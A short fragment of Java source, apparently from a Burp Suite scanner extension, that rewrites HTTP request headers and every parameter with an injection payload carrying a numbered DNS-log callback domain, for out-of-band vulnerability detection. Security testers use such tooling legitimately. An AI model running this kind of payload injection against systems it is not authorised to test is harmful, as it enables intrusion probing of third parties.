610 | List headers = this.getHeaders(payload, dnsLog);
611 | newRequest = this.helpers.buildHttpMessage(
612 | headers,
613 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes());
614 |
615 | for (int i = 0; i < this.getAllParameters().size(); i++) {
616 | IParameter p = this.getAllParameters().get(i);
617 | IParameter newParameter = this.helpers.buildParameter(
618 | p.getName(),
619 | payload.replace("dns-url",(paramNumber++) + "."+ dnsLog),
620 | p.getType()
621 | );
622 |
623 | newRequest = this.helpers.updateParameter(
624 | newRequest,
625 | newParameter);
626 | }
627 | return newRequest;
628 | }
629 | }
--------------------------------------------------------------------------------